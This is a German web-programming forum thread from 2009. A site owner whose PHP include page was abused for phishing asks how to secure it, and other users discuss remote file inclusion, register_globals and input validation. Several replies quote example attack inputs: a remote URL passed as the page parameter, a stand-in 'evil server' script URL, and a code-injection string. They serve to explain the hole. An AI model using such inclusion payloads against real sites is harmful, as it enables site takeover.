1. Diese Seite verwendet Cookies. Wenn du dich weiterhin auf dieser Seite aufhältst, akzeptierst du unseren Einsatz von Cookies. Weitere Informationen

Phishingangriff aufgrund PHP-INCLUDE zum Opfer gefallen

Dieses Thema im Forum "Web-Programmierung" wurde erstellt von C.Schwab, 22.01.09.

  1. C.Schwab

    C.Schwab Finkenwerder Herbstprinz

    Dabei seit:
    24.06.07
    Beiträge:
    470
    Hey Leute,

    Mein Provider hat mir eine Mail geschrieben, inder mich auf einen Phishingangriff hingewiesen wurde. Es wurden also unerwünschte fremde Dateien auf meinen Webspace geladen.

    Als EInfallstor nannte mein Provider meine PHP-Seite, in die verschiedene Inhaltsseiten per Browser include. Daraufhin habe ich anstatt "include" den Befehl "readfile" verwendet, da ich keine dynamischen Seiten einbinde. Ist die Gefahr jetzt gebannt? (Ich habe übrigens ein Array eingestellt, sodass man nur bestimmte Seiten includen kann - wie es trotzdem zum Angriff gekommen ist kann ich mir nicht erklären)

    So sieht mein Include jetzt aus:

    Code:
    <?php
     $tpage = '/' . $page . '.php';
        $page = basename($_GET['page']);
        
        $seiten = array("home", "uebermich", "kontakt", "impressum", "stuff", "links") ;
        
    ?>
    
    <?php if(in_array($page, $seiten))
    
            {
    
    
    
         [B]readfile [/B][COLOR=Red](vorher include)[/COLOR]($page.'.php') ;
     
    
            }
            
    
        else
    
            {
    
                echo 'Die Seite kann nicht gefunden werden.' ;
    
            }
     ; ?>
    
    
    Danke für eure Hilfe.
     
  2. Chu

    Chu Martini

    Dabei seit:
    15.06.07
    Beiträge:
    659
    hm wie kann man über include eine andere datei laden.. dachte das wäre serverseitig Oo

    bitte um Aufklärung :)
     
  3. Slashwalker

    Slashwalker Winterbanana

    Dabei seit:
    15.05.06
    Beiträge:
    2.190
  4. C.Schwab

    C.Schwab Finkenwerder Herbstprinz

    Dabei seit:
    24.06.07
    Beiträge:
    470
    Ja, das denke ich auch. Meine Frage ist nun, ob das mit "readfile" Geschichte ist...?
     
  5. Bananenbieger

    Bananenbieger Golden Noble

    Dabei seit:
    14.08.05
    Beiträge:
    24.567
    Ist register_globals zufällig auf on???
     
  6. Slashwalker

    Slashwalker Winterbanana

    Dabei seit:
    15.05.06
    Beiträge:
    2.190
    Probier es einfach mal aus. Lade irgendwo eine Datei kontakt.php hoch und versuch

    www.deineseite.de?page=http://www.anderer-server.de/kontakt.php

    Dann siehst du ja, was passiert.

    Ich würde zudem mit mod_rewrite arbeiten, falls dein Webspace auf Apache läuft und dieses Modul unterstützt.

    Da kannst du URLs umschreiben. Aus www.deineseite.de?page=home wird dann www.deineseite.de/home/ somit wird wenigstens ein bisschen verschleiert, wie die Variable heisst, die übergeben wird.
     
  7. tjp

    tjp Baldwins roter Pepping

    Dabei seit:
    07.07.04
    Beiträge:
    3.252
    Du hast ein Designfehler in Deinem Code: Man darf sich niemals auf Eingaben der Nutzer verlassen! Das Problem ist nicht das Include, sondern die Tatsache, daß Du bei Deinem Include Code direkt aus dem Get übernimmst! Das darf man niemals tun. Richtig gemacht hat der Nutzer eine Auswahl die man z.B. durchnummeriert und dann im Server wieder in Seiten übersetzt. So der Angreifer nur eine Nummer schicken, für die es im Zweifelsfall keine Seite bei Dir gibt.
     
  8. .holger

    .holger Geflammter Kardinal

    Dabei seit:
    13.09.04
    Beiträge:
    9.117
    Es ist sogar noch viel mehr möglich:


    [​IMG]
    http://xkcd.com/327/

    Immer dran denken: all incoming data is evil!
     
    stk, tjp und bezierkurve gefällt das.
  9. Tekl

    Tekl Fairs Vortrefflicher

    Dabei seit:
    01.06.05
    Beiträge:
    4.622
    Aber das macht er doch gar nicht. Was über GET reinkommt wird doch mit if(in_array($page, $seiten)) verifiziert. Oder habe ich da jetzt was falsch verstanden?
     
  10. tjp

    tjp Baldwins roter Pepping

    Dabei seit:
    07.07.04
    Beiträge:
    3.252
    Das Grundproblem ist, daß er das jetzt überprüft, aber sich immer noch nicht davon verabschiedet hat grundsätzlich auf die Übernahme von externen Daten zu verzichten. Man muß sich das angewöhnen, so daß man grundsätzlich keine Daten übernimmt, wenn dies nicht absolut notwendig ist. Da es sich hier um eine Auswahl handelt ist es nicht notwendig.

    Es gibt da auch die Spezies die meine, daß man Nutzereingaben mittels JavaScript Code validieren könnte. Das ist natürlich Quatsch. Die Validierung muß auf dem Server erfolgen, falls man JavaScript Code auf der Clientseite verwendet, ist das nur ein Komfortmerkmal aber keine Sicherheitsmaßnahme.
     
    Bananenbieger gefällt das.
  11. C.Schwab

    C.Schwab Finkenwerder Herbstprinz

    Dabei seit:
    24.06.07
    Beiträge:
    470
    Hey tjp - was du sagst hört sich gruselig an. Könntest du mir ein sicheres Codebeispiel geben ?! Ich weiß nicht wie ich die Sache angehen soll. Danke im voraus.
     
  12. Tekl

    Tekl Fairs Vortrefflicher

    Dabei seit:
    01.06.05
    Beiträge:
    4.622
    Und wie soll man dann unterschiedliche Inhalte dynamisch ausliefern, ohne abzufragen, was in der URL angegeben ist? Verzichtet man auf diese 'externen Daten', wird die Sache doch wieder nutzlos.
     
  13. Bananenbieger

    Bananenbieger Golden Noble

    Dabei seit:
    14.08.05
    Beiträge:
    24.567
    tjp meinte damit auch eher, dass man nur notwendige externen Daten übernehmen soll.

    Und die Daten, die von Extern kommen, sollten in jedem Falle überprüft und sanitized werden. Wenn ich externe Daten einlese, dann validiere ich als erstes, ob
    a) die Daten vom Typ sind, den ich erwarte (in Integern haben Buchstaben nichts zu suchen)
    b) keine bösen Zeichen enthalten sind (bzw. die bösen Zeichen escapen) und das Format wie erwartet ist

    Damit ist man schon mal auf der relativ sicheren Seite.
     
  14. .holger

    .holger Geflammter Kardinal

    Dabei seit:
    13.09.04
    Beiträge:
    9.117
    Du übergibst "$page", also index.php?page=foo oder?

    dann übergibt mal

    page=));echo"moinmoin";if(in_array(home,

    Nicht getestet, sollte aber so hinhauen. Statt dem echo "moin moin" kann man natürlich auch bösen code dort hineinbringen..... und dann war's das mit Deiner Seite.
     
  15. Bananenbieger

    Bananenbieger Golden Noble

    Dabei seit:
    14.08.05
    Beiträge:
    24.567
    Ne, das ist kein Problem. Das wird dann ja zu $page='page=));echo"moinmoin";if(in_array(home,'
    Code innerhalb eines Strings wird ja nicht automatisch ausgeführt (da müsste man schon ein eval() irgendwo finden. SQL-Injections hingegen funktionieren deshalb, weil ein String als Query ausgeführt wird).

    Bei PHP wird häufig versucht, über in ein include eine fremde URL zu injecten, z.B. include($page), wobei für $page http://boeserserver.de/boesesskript.php verwendet wird. Der Code der fremden URL wird dann ganz brav von php ausgeführt.
     
  16. C.Schwab

    C.Schwab Finkenwerder Herbstprinz

    Dabei seit:
    24.06.07
    Beiträge:
    470
    Was ist denn jetzt euer Tipp an mich für speziell meinen Code ... ?

    "page=));echo"moinmoin";if(in_array(home," dürfte eigentlich nicht funktionieren, und funktioniert auch nicht, da dann automatisch "Die Seite kann nicht angezeigt werden" ausgegeben wird, da die Eingabe nicht mit den Arrays übereinstimmt, deswegen frage ich mich ja auch wie genau fremder Code übergeben werden konnte, obwohl ich doch Arrays habe, in denen steht wie die Pages heißen dürfen, die includet werden.
     
  17. Bananenbieger

    Bananenbieger Golden Noble

    Dabei seit:
    14.08.05
    Beiträge:
    24.567
    Wie sieht es mit Register_Globals aus? Steht das auf Off?
     
  18. Tekl

    Tekl Fairs Vortrefflicher

    Dabei seit:
    01.06.05
    Beiträge:
    4.622
    Was tut das Register_Globals zur Sache? Man kann damit ja nicht im Nachhinein noch Variablen ändern.
     
  19. Bananenbieger

    Bananenbieger Golden Noble

    Dabei seit:
    14.08.05
    Beiträge:
    24.567
    Ich gehe davon aus, dass nicht das komplette Script gepostet wurde, weil es
    a) sinnfrei ist (warum dieses Konstrukt und nicht einfach direkt mit passenden PHP-Files arbeiten?)
    b) $tpage sicher für etwas verwendet wird und ?> <? mitten im Script auch völlig unnütz sind.

    Also denke ich mir, dass da noch Möglichkeiten bestehen, dass man Code so injecten kann, dass sich das Array $seiten im Script nach der initierung noch ändern kann.


    Sofern meine Annahmen falsch sind, hast Du natürlich recht!
     
    #19 Bananenbieger, 27.01.09
    Zuletzt bearbeitet: 27.01.09
  20. ma.buso

    ma.buso Châtaigne du Léman

    Dabei seit:
    16.04.05
    Beiträge:
    824
    Wie wär's mal mit einem Blick in die Logfiles? So ließe sich doch eroieren, mit welcher Abfrage der Angriff ausgeführt wurde. Was wiederum direkt zur Schwachstelle führen sollte.
     

Diese Seite empfehlen